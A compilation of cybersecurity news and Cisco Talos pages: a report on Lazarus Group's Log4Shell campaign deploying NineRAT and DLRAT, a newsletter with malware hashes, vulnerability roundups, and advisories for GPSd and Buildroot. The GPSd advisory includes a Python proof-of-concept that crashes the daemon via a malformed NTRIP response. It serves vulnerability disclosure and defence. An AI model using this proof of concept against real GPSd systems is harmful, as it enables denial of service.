The notorious North Korea-linked threat actor known as the Lazarus Group has been attributed to a new global campaign that involves the opportunistic exploitation of security flaws in Log4j to deploy previously undocumented remote access trojans (RATs) on compromised hosts.
Cisco Talos is tracking the activity under the name Operation Blacksmith, noting the use of three DLang-based

The notorious North Korea-linked threat actor known as the **Lazarus Group** has been attributed to a new global campaign that involves the opportunistic exploitation of security flaws in Log4j to deploy previously undocumented remote access trojans (RATs) on compromised hosts.

Cisco Talos is tracking the activity under the name Operation Blacksmith, noting the use of three DLang-based malware families, including a RAT called NineRAT that leverages Telegram for command-and-control (C2), DLRAT, and a downloader dubbed BottomLoader.

The cybersecurity firm described the latest tactics of the adversary as a definitive shift and that they overlap with the cluster widely tracked as Andariel (aka Onyx Sleet or Silent Chollima), a sub-group within the Lazarus umbrella.

"Andariel is typically tasked with initial access, reconnaissance and establishing long term access for espionage in support of the North Korean government's national interests," Talos researchers Jung soo An, Asheer Malhotra, and Vitor Ventura said in a technical report shared with The Hacker News.

Attack chains involve the exploitation of CVE-2021-44228 (aka Log4Shell) against publicly-accessible VMWare Horizon servers to deliver NineRAT. Some of the prominent sectors targeted include manufacturing, agriculture, and physical security.

UPCOMING WEBINAR

Cracking the Code: Learn How Cyber Attackers Exploit Human Psychology

Ever wondered why social engineering is so effective? Dive deep into the psychology of cyber attackers in our upcoming webinar.

Join Now

The abuse of Log4Shell is not surprising given the fact that 2.8 percent of applications are still using vulnerable versions of the library (from 2.0-beta9 through 2.15.0) after two years of public disclosure, according to Veracode, with another 3.8% using Log4j 2.17.0, which, while not vulnerable to CVE-2021-44228, is susceptible to CVE-2021-44832.

NineRAT, first developed around May 2022, is said to have been put to use as early as March 2023 in an attack aimed at a South American agricultural organization and then again in September 2023 on a European manufacturing entity. By using a legitimate messaging service for C2 communications, the goal is to evade detection.

The malware acts as the primary means of interaction with the infected endpoint, enabling the attackers to send commands to gather system information, upload files of interest, download additional files, and even uninstall and upgrade itself.

"Once NineRAT is activated it accepts preliminary commands from the telegram based C2 channel, to again fingerprint the infected systems," the researchers noted.

"Re-fingerprinting of infected systems indicates that the data collected by Lazarus via NineRAT may be shared by other APT groups and essentially resides in a different repository from the fingerprint data collected initially by Lazarus during their initial access and implant deployment phase."

Also used in the attacks after initial reconnaissance is a custom proxy tool called HazyLoad that was previously identified by Microsoft as used by the threat actor as part of intrusions weaponizing critical security flaws in JetBrains TeamCity (CVE-2023-42793, CVSS score: 9.8). HazyLoad is downloaded and executed by means of another malware called BottomLoader.

Furthermore, Operation Blacksmith has been observed delivering DLRAT, which is both a downloader and a RAT equipped to perform system reconnaissance, deploy additional malware, and retrieve commands from the C2 and execute them in the compromised systems.

"The multiple tools giving overlapping backdoor entry present Lazarus Group with redundancies in the event a tool is discovered, enabling highly persistent access," the researchers said.

The disclosure comes as the AhnLab Security Emergency Response Center (ASEC) detailed Kimsuky's use of AutoIt versions of malware such as Amadey and RftRAT and distributing them via spear-phishing attacks bearing booby-trapped attachments and links in an attempt to bypass security products.

Kimusky, also known by the names APT43, ARCHIPELAGO, Black Banshee, Emerald Sleet (previously Thallium), Nickel Kimball, and Velvet Chollima, is an element operating under North Korea's Reconnaissance General Bureau (RGB), which also houses the Lazarus Group.

It was sanctioned by the U.S. Treasury Department on November 30, 2023, for gathering intelligence to support the regime's strategic objectives.

"After taking control of the infected system, to exfiltrate information, the Kimsuky group installs various malware such as keyloggers and tools for extracting accounts and cookies from web browsers," ASEC said in an analysis published last week.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Lazarus Group Using Log4j Exploits to Deploy Remote Access Trojans

In this video, experts from across Cisco Talos came together to discuss the 2023 Talos Year in Review. We chat about what’s new, what’s stayed the same, and how the geopolitical environment has affected the threat landscape.

By Hazel Burton

Monday, December 11, 2023 05:48

2023YiR Year In Review

In this video, experts from across Cisco Talos came together to discuss the 2023 Talos Year in Review. We chat about what’s new, what’s stayed the same, and how the geopolitical environment has affected the threat landscape.

This video was recorded live on social media:

**Read the 2023 Cisco Talos Year in Review**

Download Now

We also discussed Project PowerUp, the story of how Cisco helped to keep the lights on in Ukraine. Read the full story here.

**Share this post**

Video: Talos 2023 Year in Review highlights

When searching for holiday gifts online, make sure you’re buying from a trusted vendor, or if you haven’t heard of the vendor before, take a few extra minutes just to look them up and read their app’s privacy policy.

Thursday, December 7, 2023 14:00

As I wrote about last week, there are holiday shopping-related scams already popping up all over the place.  

But another aspect of security that many shoppers don’t consider this time of year is the security of the products they’re buying, even through a legitimate online marketplace. 

This is a glaring issue with home security cameras and Wi-Fi-connected doorbells, but I can’t imagine these are particularly popular holiday gifts. With virtually everything being connected to the internet somehow these days, everything is a potential security risk if you’re buying a new piece of technology. 

Take smartwatches, for example. Apple Watches and Samsung Galaxy watches are always popular on everyone’s wishlists this time of year because they’re high-priced items you normally wouldn’t buy for yourself. Many shoppers might be looking for a deal this time of year and not looking to spend hundreds on the gift, so any sort of cheaper alternative could be appealing. 

I searched for “smart watches” on Amazon, and the results page displayed four different watches from four different vendors as their “Top Results,” none of which were Samsung and Apple. Well-known vendors are certainly not immune to security issues or vulnerabilities, but at least users can be confident that any known vulnerabilities will be disclosed and patched by these companies as they pop up. 

The top result is for a $29.99 smartwatch that offers sleep tracking, blood pressure monitoring, dozens of different workout modes, step tracking, and more. However, there are a few security flags for me right up front with this deal (after all, if it seems too good to be true, it probably is). Amazon states the seller is a company called “Nerunsa,” but a quick search did not turn up any legitimate information on who this company is, where they’re based, or the sort of security bona fides you’d be hoping for. The only search results are for the company’s Amazon store page and a few eBay listings for people reselling the watch in question. 

The app that’s listed as supporting the watch is called “GloryFit” on the Google Play and Apple app stores, and its privacy policy is equally vague. It states that the app will collect all the suspected information for someone using a smartwatch — phone calls, text messages, GPS location, personal information, health information, etc. But, the policy states that, when the user accepts the privacy policy, “You hereby consent to our process and disclose personal information to our affiliated companies (which are in the communications, social media, technology and cloud businesses) and to Third Party Service Providers for the purposes of this Privacy Policy.” And it’s not particularly clear what those other companies do, exactly — Google was no help here, either. 

Apple Air Tags are also another popular tech gift every year and are usually featured in major retailers’ Black Friday sales. I personally have my own concerns about any type of tracking tag coming into my house, but that’s for another column. 

On Walmart, which is increasingly trying to compete with Amazon by offering more products online, I searched for “smart tag” and found three results that appeared ahead of Apple’s legitimate Air Tags. The second-most-popular result is for a “Bluetooth Tracker and Item Locator” that’s only $15.98, compared to $86.88 for a four-pack of Apple’s. This tracker is listed as being made by “AILIUTOP,” which also remains elusive on the internet and does not seem to have any sort of legitimate contact information available to the public. Their store page on Walmart indicates the seller offers many types of products, from clothing to home goods and more.  

 This seems like a good bargain as a gift for someone who is always losing their keys or wallet or wants to make sure their bicycle is secure when they lock it up somewhere. But purchasing these types of “smart” devices with so much uncertainty poses a few issues. 

If you do experience some sort of security failure or issue, there is no easy way to contact any of these vendors through the traditional means that the average user would go searching for. These vendors have no clear history of responsibly disclosing vulnerabilities, releasing security updates, or testing their products’ security before release. 

When these types of gifts are dealing with such high-profile information like your personal information, health data, or physical location, users should be confident that their information is being stored correctly and securely, or at least there’s a way to contact the vendor should they have any questions. 

When searching for holiday gifts online, make sure you’re buying from a trusted vendor, or if you haven’t heard of the vendor before, take a few extra minutes just to look them up, read their app’s privacy policy, or even read the reviews to make sure there’s no clear sign of bot activity like repetitive words or phrases or using the same photo for multiple reviews.  

**The one big thing **

The 2023 Cisco Talos Year in Review is now available to download. Once again, the Talos team has meticulously combed through a massive amount of data to analyze the major trends that have shaped the threat landscape in 2023. Global conflict influenced a lot of these trends, altering the tactics and approaches of many threat actors. In operations ranging from espionage to cybercrime, we’ve seen geopolitical events have a significant impact on the way these are carried out. 

**Why do I care? **

The Year in Review report includes new data and telemetry from Talos about attacker trends, popular malware seen in the wild, and much more. Despite the accelerated pace of many threat actor campaigns and the geopolitical events that shaped them, our report shows that the defensive community’s diligence, inventiveness and collaborative efforts are helping to push adversaries back.   

**So now what? **

Download our full report here, bookmark the Year in Review landing page for future content we have planned around the report, and listen to the Beers with Talos episode that covers the details of the report. 

**Top security headlines of the week **

**More than six million people are reportedly victims of a large data breach at DNA and genealogy testing firm 23andMe.** The breach is larger than initially expected, with more than 5.5 million users who opted into the company’s “DNA Relatives” feature, which allows customers to automatically share some of their data with other users. Another 1 million-plus users had their family tree information accessed. The attackers accessed the accounts because of password reuse from users, likely who used easy-to-guess login information or passwords they used across multiple other accounts. 23andMe was not the target of the initial breach, nor was a company account the source of the compromised credentials. Security experts are urging users to move away from traditional username-and-password login methods as these types of attacks happen more often, instead moving toward multi-factor authentication or passwordless logins. (TechCrunch, Wall Street Journal) 

**Apple released emergency fixes for two zero-day vulnerabilities in its WebKit browser engine that have already been exploited in the wild.** The company reported that the flaws are being exploited on devices running on iOS versions before iOS 16.7.1 (released on Oct. 10, 2023). There are new patches available, which users should install immediately, in iOS, iPadOS, macOS Sonoma and the Safari web browser. The two vulnerabilities tracked as CVE-2023-42916 and CVE-2023-42917, leave affected devices vulnerable to adversaries accessing sensitive information on targeted devices. CVE-2023-42917 could also allow an attacker to execute arbitrary code on the targeted machine. (SC Magazine, Decipher) 

**Security researchers say a new threat actor known as “AeroBlade” compromised a U.S. aerospace company for more than a year.** The actor reportedly started testing their malware and infection chain on the targeted network in September 2022 and executed malware on the network in July 2023. The activity sat undetected for months due to anti-analysis techniques. It is currently unknown what actions, if any, the actor carried out during that time or if they compromised any user or customer data. The initial infection began with a Microsoft Word lure document with the title, “"SOMETHING WENT WRONG Enable Content to load the document." The ensuing malicious Microsoft Word template (DOTM) file then loaded a DLL that served as a reverse shell. Researchers say the attacker’s intent was likely to steal data from the target to sell it, potentially supply it to international competitors, or use it to extort the target into paying a ransom. (Dark Reading, Bleeping Computer)  

**Can’t get enough Talos? **

Security journalists from Decipher bring you the headlines, including new U.S. government sanctions on threat actor groups in our latest Threat Spotlight video.

Then, Hazel chats to Talos security researcher Joe Marshall to discuss the Talos 2023 Year in Review, and Project PowerUp, the story of how Cisco Talos worked with a multi-national, multi-company coalition of volunteers and experts to help “keep the lights on” in Ukraine, by injecting a measure of stability in Ukraine’s power transmission grid.

**Upcoming events where you can find Talos **

**"Power of the Platform” by Cisco** **(Dec. 5 & 7)** 

Virtual (Please note: This presentation will only be given in German) 

_The annual IT event at the end of the year where Cisco experts, including Gergana Karadzhova-Dangela from Cisco Talos Incident Response, discuss the future-oriented topics in the implementation of digitalization together with you._  

**What Threats Kept Us Up in 2023: A Year in Review and a Look Ahead** **(Dec. 13, 11 a.m. PT)** 

Virtual 

_Each year brings new threats that take advantage of increasingly complex security environments. Whether it’s Volt Typhoon targeting critical infrastructure organizations across the United States or ALPHV launching an attack against casino giant MGM, threat actors are becoming bolder and more evasive. That’s why it’s never been more important to leverage broad telemetry sources, deep network insights and threat intelligence to respond effectively and recover faster from sophisticated attacks. Join Amy Henderson, Director of Strategic Planning and Communications at Cisco Talos and Briana Farro, Director of XDR Product Management at Cisco, as they discuss some of the top threat trends and threats we have seen this past year and how to leverage security technology like XDR and network insights to fight against them._ 

**NIS2 Directive: Why Organizations Must Act Now to Ensure Compliance and Security** **(Jan. 11, 2024, 10 a.m. GMT)** 

Virtual 

_The NIS2 Directive is a crucial step toward securing Europe’s critical infrastructure and essential services in an increasingly interconnected world. Organizations must act now to prepare for the new requirements, safeguard their operations, and maintain a robust cybersecurity posture. Gergana Karadzhova-Dangela from Cisco Talos Incident Response and other Cisco experts will talk about how organizations can best prepare for the coming regulations._  

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** bea312ccbc8a912d4322b45ea64d69bb3add4d818fd1eb7723260b11d76a138a   
**MD5:** 200206279107f4a2bb1832e3fcd7d64c   
**Typical Filename:** lsgkozfm.bat   
**Claimed Product:** N/A   
**Detection Name:** Win.Dropper.Scar::tpd 

**SHA 256:** 4c3c7be970a08dd59e87de24590b938045f14e693a43a83b81ce8531127eb440   
**MD5:** ef6ff172bf3e480f1d633a6c53f7a35e   
**Typical Filename:** iizbpyilb.bat   
**Claimed Product:** N/A    
**Detection Name:** Trojan.Agent.DDOH 

**SHA 256:** 5e537dee6d7478cba56ebbcc7a695cae2609010a897d766ff578a4260c2ac9cf   
**MD5:** 2cfc15cb15acc1ff2b2da65c790d7551   
**Typical Filename:** rcx4d83.tmp   
**Claimed Product:** N/A     
**Detection Name:** Win.Dropper.Pykspa::tpd 

**SHA 256:** 8664e2f59077c58ac12e747da09d2810fd5ca611f56c0c900578bf750cab56b7    
**MD5:** 0e4c49327e3be816022a233f844a5731    
**Typical Filename:** aact.exe    
**Claimed Product:** AAct x86    
**Detection Name:** PUA.Win.Tool.Kmsauto::in03.talos 

**SHA 256:** 77c2372364b6dd56bc787fda46e6f4240aaa0353ead1e3071224d454038a545e   
**MD5:** 040cd888e971f2872d6d5dafd52e6194   
**Typical Filename:** streamer.exe   
**Claimed Product:** Ultra Virus Killer   
**Detection Name:** PUA.Win.Virus.Ultra::95.sbx.tg

Cybersecurity considerations to have when shopping for holiday gifts

Cisco Talos has disclosed 10 vulnerabilities over the past two weeks, including nine that exist in a popular online PDF reader that offers a browser plugin.

Wednesday, December 6, 2023 13:33

Cisco Talos has disclosed 10 vulnerabilities over the past two weeks, including nine that exist in a popular online PDF reader that offers a browser plugin. 

Attackers could exploit these vulnerabilities in the Foxit PDF Reader to carry out a variety of malicious actions, but most notably could gain the ability to execute arbitrary code on the targeted machine. Foxit aims to have feature parity with Adobe Acrobat Reader, the most popular PDF-reading software currently on the market. The company offers paid versions of its software for a variety of users, including individuals and enterprises. There are also browser plugins of Foxit that run in a variety of web browsers, including Google Chrome and Mozilla Firefox. 

Talos’ Vulnerability Research team also found an integer overflow vulnerability in the GPSd daemon, which is triggered if an attacker sends a specially crafted packet, causing the daemon to crash. 

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.  

**Multiple vulnerabilities in Foxit PDF Reader **

_Discovered by Kamlapati Choubey._ 

Foxit PDF Reader contains multiple vulnerabilities that could lead to remote code execution if exploited correctly.  

TALOS-2023-1837 (CVE-2023-32616) and TALOS-2023-1839 (CVE-2023-38573) can be exploited if an attacker embeds malicious JavaScript into a PDF, and the targeted user opens that PDF in Foxit. These vulnerabilities can trigger the use of a previously freed object, which can lead to memory corruption and arbitrary code execution.  

TALOS-2023-1838 (CVE-2023-41257) works in the same way, but in this case, it is caused by a type confusion vulnerability.  

Three other vulnerabilities could allow an attacker to create arbitrary HTA files in the context application, and eventually gain the ability to execute arbitrary code on the targeted machine. TALOS-2023-1832 (CVE-2023-39542), TALOS-2023-1833 (CVE-2023-40194) and TALOS-2023-1834 (CVE-2023-35985) are all triggered if the targeted user opens a specially crafted file in the Foxit software or browser plugin. 

**GPSd NTRIP Stream Parsing access violation vulnerability **

_Discovered by Dimitrios Tatsis._ 

An integer overflow vulnerability exists in the NTRIP Stream Parsing functionality of GPS daemon, which is used to collect and display GPS information in other software. A specially crafted network packet can lead to memory corruption. An attacker can send a malicious packet to trigger TALOS-2023-1860 (CVE-2023-43628). 

According to GPSd’s website, this service daemon powers the map service on Android mobile devices and is “ubiquitous in drones, robot submarines, and driverless cars.” 

_Discovered by Claudio Bozzato and Francesco Benvenuto._ 

Talos researchers recently found multiple data integrity vulnerabilities in Buildroot, a tool that automates builds of Linux environments for embedded systems. 

An adversary could carry out a man-in-the-middle attack to exploit TALOS-2023-1845 (CVE-2023-43608) and TALOS-2023-1844 (CVE-2023-45842, CVE-2023-45839, CVE-2023-45838, CVE-2023-45840 and CVE-2023-45841) to execute arbitrary code in the builder. 

As a direct consequence, an attacker could then also tamper with any file generated for Buildroot’s targets and hosts. 

**Malformed Excel file could lead to arbitrary code execution in WPS Office **

_Discovered by Marcin “Icewall” Noga._ 

An uninitialized pointer use vulnerability (TALOS-2023-1748/CVE-2023-31275) exists in the functionality of WPS Office, a suite of software for word and data processing, that handles Data elements in an Excel file.  

A specially crafted malformed Excel file can lead to remote code execution. 

WPS Office, previously known as a Kingsoft Office, is a software suite for Microsoft Windows, macOS, Linux, iOS, Android, and HarmonyOS developed by Chinese software developer Kingsoft. It is installed by default on Amazon Fire tablet devices. 

Talos disclosed this vulnerability in November despite no official fix or patch from Kingsoft after the company did not respond to our notification attempts and failed the 90-day deadline as outlined in Cisco’s third-party vendor vulnerability disclosure policy.

Remote code execution vulnerabilities found in Buildroot, Foxit PDF Reader

The second annual Cisco Talos Year in Review draws on a massive amount of threat data to analyze the major trends that shaped the threat landscape in 2023.

Tuesday, December 5, 2023 18:25

The 2023 Cisco Talos Year in Review is now available to download. 

Once again, the Talos team has meticulously combed through a massive amount of data to analyze the major trends that have shaped the threat landscape in 2023. Global conflict influenced a lot of these trends, altering the tactics and approaches of many threat actors. In operations ranging from espionage to cybercrime, we’ve seen geopolitical events have a significant impact on the way these are carried out.

At the beginning of the Year in Review is a “Top Trends” section comprised of regional trends over time and the influence of geopolitical events, the CVEs attackers exploited most often, spam tactics, and the top MITRE ATT&CK techniques that have been used within attacks.  The report then deep dives on four topics:  

The evolution of ransomware and extortion. The concerning rate of attacks against network infrastructure devices. The activities of advanced persistent threat (APT) actors in China, Russia, and the Middle East. This section also includes the major threats our Ukraine Task Unit dealt with this year. The shifting activities and impact of commodity loaders. 

Cisco’s global presence and Talos’ world-class expertise provided a massive amount of data to research — endpoint detections, incident response engagements, network traffic, email corpus, sandboxes, honeypots and much more. Thankfully, our teammates include subject matter experts from all ends of the cybersecurity space to help us turn this intelligence into actionable information for defenders and users.  

So, what is the main story of the 2023 Year in Review? Despite the accelerated pace of many threat actor campaigns and the geopolitical events that shaped them, the defensive community’s diligence, inventiveness and collaborative efforts are helping to push adversaries back.  

Download the Cisco Talos Year in Review today, and please share it with your colleagues and communities. This report was written by defenders, for defenders, and we hope it proves a useful and insightful resource for you. 

For more Year in Review content, visit the 2023 Year in Review landing page.

The malware, attacker trends and more that shaped the threat landscape in 2023

BSidesSF is soliciting submissions for presentations and panels for BSidesSF 2024 in San Francisco on May 4 and 5 2024.

    hi folks,We are now accepting <https://pretalx.com/bsidessf-2024/> submissions forpresentations and panels for BSidesSF 2024 in San Francisco on May 4, 52024.  BSidesSF <https://www.bsidessf.org/> is a non-profit organizationdesigned to advance the body of Information Security knowledge, byproviding an annual, open forum for discussion and debate for securitypractitioners. We produce a conference that is a source of education,collaboration, and continued conversation for information technologists.The technical and academic presentations at BSidesSF are given in thespirit of peer review and advanced knowledge dissemination. This allows thefield of Information Security to grow in breadth and depth, and continue inits pursuit of highly advanced, scientifically based knowledge.Please help us spread the word through your community and come share yourideas with industry peers.ThanksProgram TeamBSidesSF 2024

BSides SF 2024 Call For Papers

An integer overflow vulnerability exists in the NTRIP Stream Parsing functionality of GPSd 3.25.1~dev. A specially crafted network packet can lead to memory corruption. An attacker can send a malicious packet to trigger this vulnerability.

**SUMMARY**

An integer overflow vulnerability exists in the NTRIP Stream Parsing functionality of GPSd 3.25.1~dev. A specially crafted network packet can lead to memory corruption. An attacker can send a malicious packet to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

GPSd 3.25.1~dev

**PRODUCT URLS**

GPSd - https://gpsd.gitlab.io/gpsd/

**CVSSv3 SCORE**

5.9 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-191 - Integer Underflow (Wrap or Wraparound)

**DETAILS**

GPSd is a daemon used for monitoring, collecting and reporting GPS information to clients. In a typical configuration, the GPS data are provided by a serial device connected to the host machine. However, GPSd also supports aggregating GPS data from network sources. It is extensively used in Android as well as embedded systems such as drones, robot submarines, driverless cars, marine navigation and military systems.

GPSd can act as a client that gets GPS information from the network using the NTRIP protocol. As specified in the NTRIP documentation, the NTRIP client does an HTTP request to the NTRIP caster (as per NTRIP documentation) expecting a source table as a response. The source table defines a list of records describing the data provided:

    SOURCETABLE 200 OK
    Content-Type: text/plain
    Content-Length: 6999 
    STR;FFMJ2;Frankfurt;RTCM 2.1;1(1),3(19),16(59);0;GPS;GREF;DEU;50.12;8.68;0;1;GPSNet V2.10;none;N;N;560;Demo 
    ENDSOURCETABLE
    

In the example above, a stream record is defined under the FFMJ2 path, where the NTRIP client is expected to perform a standard HTTP request to get specific GPS data.

GPSd, acting as an NTRIP client, uses the following code to parse the response from the caster.

    #define NTRIP_BR                "\r\n"
    
    int ntrip_stream_get_parse(struct gps_device_t *device)
    {
    	    ...
        while (1) {
            lexer_getline(lexer);                                   [1]
    		          ...
            if ('\0' == *lexer->outbuffer) {
                // done, never got end of headers.
                break;
            }
    		
            if (0 == strncmp(obuf, NTRIP_BR, sizeof(NTRIP_BR))) {   [2]
                // done
                break;
            }
        }
        ...
    } The code performs a loop, getting one line from the response until there is a NULL byte or the delimiter `\r\n` is found at (2), denoting the main body of the response. To get one line, the `lexer_getline()` is used at [1] above.
    
    static void lexer_getline(struct gps_lexer_t *lexer)
    {
    	unsigned i;
    	
        for (i = 0; i < sizeof(lexer->outbuffer) - 2; i++) {
            unsigned char u = *lexer->inbufptr++;
    
            lexer->outbuffer[i] = u;
            lexer->inbuflen--;                                   [3]
    
            if ('\0' == u) {
                // found NUL
                break;
            }
            if ('\n' == u) {
                // found return
                i++;
                break;
            }
    
            if (0 == lexer->inbuflen) {                          [4]
                // nothing left to read,  ending not found
                i++;
                break;
            }
        }
    }
    

In lexer_getline(), the code parses a line from one character at a time, looking for either a NULL byte or the \n character. In each iteration, the lexer->inbuflen variable is decremented at \[3\]. At \[4\], when the lexer->inbuflen is 0, the loop exits, denoting that there are no other characters to parse in that line, assuming no NULL bytes or \n characters are found in the line.

Recall however that the code continues to execute in the outer loop, searching for the the \r\n characters at \[2\]. If the characters are not found, the loop continues, executing lexer_getline() once again. Then at \[3\], the lexer->inbuflen is decremented once again, leading to an integer underflow.

Later, since the lexer->inbuflen is now 0xffffffffffffffff, the code believes there are leftover characters in the buffer and attempts to do a memmove() using lexer->inbuflen as the size argument. This could lead to memory corruption.

    ...
    if (0 == lexer->inbuflen) {
    	packet_reset(lexer);
    } else {
    	// The "leftover" is the start of the first chunk.
    	if (lexer->inbufptr != lexer->inbuffer) {
    		// Shift inbufptr to the start.  Yes, a bit brutal.
    		memmove(lexer->inbuffer, lexer->inbufptr, lexer->inbuflen);       [5]
    		lexer->inbufptr = lexer->inbuffer;
    	}
    }
    

**Crash Information**

    ==470012==ERROR: AddressSanitizer: negative-size-param: (size=-1)
    #0 0x55e609056090 in __asan_memmove (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x122090) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497)
    #1 0x55e6091b8631 in ntrip_stream_get_parse /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/net_ntrip.c:791:13
    #2 0x55e6091baf02 in ntrip_open /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/net_ntrip.c:1124:15
    #3 0x55e6091b0c6d in gpsd_multipoll /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/libgpsd_core.c:1978:19
    #4 0x55e60909b0d6 in main /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/gpsd.c:2855:29
    #5 0x7f3ab3269d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #6 0x7f3ab3269e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #7 0x55e608fbb8a4 in _start (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x878a4) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497)
    
    0x55e609da436a is located 29450 bytes inside of global variable 'devices' defined in '/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/gpsd.c:315' (0x55e609d9d060) of size 730512
    SUMMARY: AddressSanitizer: negative-size-param (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x122090) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497) in __asan_memmove
    

**Exploit Proof of Concept**

As a PoC, we act as a very simple NTRIP caster, functionally the same as an HTTP server. On a GET request on the root we send a source table with one record, indicating that we provide NTRIP stream data under the TEST path. When GPSd does a request on this specific path, we send a standard HTTP response that is not properly terminated as GPSd expects, resulting in a crash.

        r = s.recv(128)
        print(f"[+] Got request '{r[:16]}', ...")
    
        if len(r) == 0:
            return
    
        if r.startswith(b"GET / HTTP/1.1"):
            print("[+] Sending NTRIP sourcetable")
    
            s.sendall(b"Content-Type: gnss/sourcetable\r\n")
            s.sendall(b"\r\n")
            s.sendall(b"\r\n")
            s.sendall(b"SOURCETABLE\r\n")
            s.sendall(b"\r\n")
            s.sendall(b"STR;TEST;City;CMR+;\r\n")
            s.sendall(b"ENDSOURCETABLE\r\n")
    
        elif r.startswith(b"GET /TEST HTTP/1.1"):
            print("[+] Got stream data request ...")
    
            s.sendall(b"HTTP/1.1 200 OK\r\n")
    

**TIMELINE**

2023-11-22 - Initial Vendor Contact  
2023-11-23 - Vendor Disclosure  
2023-11-29 - Vendor Patch Release  
2023-12-05 - Public Release

Discovered by Dimitrios Tatsis of Cisco Talos.

CVE-2023-43628: TALOS-2023-1860 || Cisco Talos Intelligence Group

A data integrity vulnerability exists in the BR_NO_CHECK_HASH_FOR functionality of Buildroot 2023.08.1 and dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.

**SUMMARY**

A data integrity vulnerability exists in the BR\_NO\_CHECK\_HASH\_FOR functionality of Buildroot 2023.08.1 and dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Buildroot 2023.08.1  
Buildroot dev commit 622698d7847

**PRODUCT URLS**

Buildroot - https://www.buildroot.org/

**CVSSv3 SCORE**

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-494 - Download of Code Without Integrity Check

**DETAILS**

Buildroot is a tool that automates builds of Linux environments for embedded systems. It supports cross-compiling for multiple target platforms and allows for building a cross-compilation toolchain, Linux kernel image, boot loader, root file system and various utilities.

When building a package, Buildroot executes the corresponding Makefile. Source code is typically downloaded from the internet for most packages, while some are included within Buildroot. Upon downloading the source, Buildroot verifies the integrity of the package using a hash file, extracts the sources, applies any necessary patches and then proceeds with the actual building process.

To describe the logic in detail, let’s use the strace package as a simple example:

In package/strace/strace.mk:

    STRACE_VERSION = 6.5
    STRACE_SOURCE = strace-$(STRACE_VERSION).tar.xz
    STRACE_SITE = https://github.com/strace/strace/releases/download/v$(STRACE_VERSION)
    ...
    $(eval $(autotools-package))
    

In package/strace/strace.hash:

    # Locally calculated after checking signature with RSA key 0xA8041FA839E16E36
    # https://strace.io/files/6.5/strace-6.5.tar.xz.asc
    sha256  dfb051702389e1979a151892b5901afc9e93bbc1c70d84c906ade3224ca91980  strace-6.5.tar.xz
    sha256  d92f973d08c8466993efff1e500453add0c038c20b4d2cbce3297938a296aea9  COPYING
    sha256  7c379436436a562834aa7d2f5dcae1f80a25230fa74201046ca1fba4367d39aa  LGPL-2.1-or-later
    

STRACE_SITE defines the external site to fetch the sources from and STRACE_SOURCE defines the actual package name to retrieve. The autotools-package is then evaluated to interpret the various <PACKAGE_NAME>_<VARIABLE> definitions defined in the package .mk and generate all the Makefiles rules needed to build the package.

In the .hash file, we can see sha256 hashes for any file that is being downloaded externally so their integrity can be verified after download.

When the strace package is selected in the config, calling make strace-source will download the package sources. The download function is defined in package/pkg-download.mk, which relays the request to the support/download/dl-wrapper shell script.  
In the case of strace, dl-wrapper is called like this:

    support/download/dl-wrapper
        -c 6.4
        -d /opt/buildroot/dl/strace
        -D /opt/buildroot/dl
        -f strace-6.4.tar.xz
        -H package/strace//strace.hash
        -n strace-6.4
        -N strace
        -o /opt/buildroot/dl/strace/strace-6.4.tar.xz
        -u https+https://github.com/strace/strace/releases/download/v6.4
        -u http|urlencode+http://sources.buildroot.net/strace
        -u http|urlencode+http://sources.buildroot.net
    

Interesting parameters to note:

*   -H defines the .hash file for integrity checks
*   -u can be specified multiple times, to provide a fallback in case the primary URL is not available

The http://sources.buildroot.net URLs have been passed as fallback because they correspond to the default value of BR2_BACKUP_SITE. This behavior is enabled by default. However, it is possible to set BR2_PRIMARY_SITE_ONLY to disable it and only allow downloads from the primary resource.

Inside dl-wrapper:

        ...
        download_and_check=0
        rc=1
    [1] for uri in "${uris[@]}"; do
            backend_urlencode="${uri%%+*}"
            backend="${backend_urlencode%|*}"
            case "${backend}" in
                git|svn|cvs|bzr|file|scp|hg|sftp) ;;
                *) backend="wget" ;;
            esac
            uri=${uri#*+}
    
            ...
    [2]     if ! "${OLDPWD}/support/download/${backend}" \
                    $([ -n "${urlencode}" ] && printf %s '-e') \
                    -c "${cset}" \
                    -d "${dl_dir}" \
                    -n "${raw_base_name}" \
                    -N "${base_name}" \
                    -f "${filename}" \
                    -u "${uri}" \
                    -o "${tmpf}" \
                    ${quiet} ${large_file} ${recurse} -- "${@}"
            then
                ...
                continue
            fi
    
            ...
            # Check if the downloaded file is sane, and matches the stored hashes
            # for that file
    [3]     if support/download/check-hash ${quiet} "${hfile}" "${tmpf}" "${output##*/}"; then
                rc=0
            else
                if [ ${?} -ne 3 ]; then
                    rm -rf "${tmpd}"
                    continue
                fi
    
                # the hash file exists and there was no hash to check the file
                # against
                rc=1
            fi
    [4]     download_and_check=1
            break
        done
    
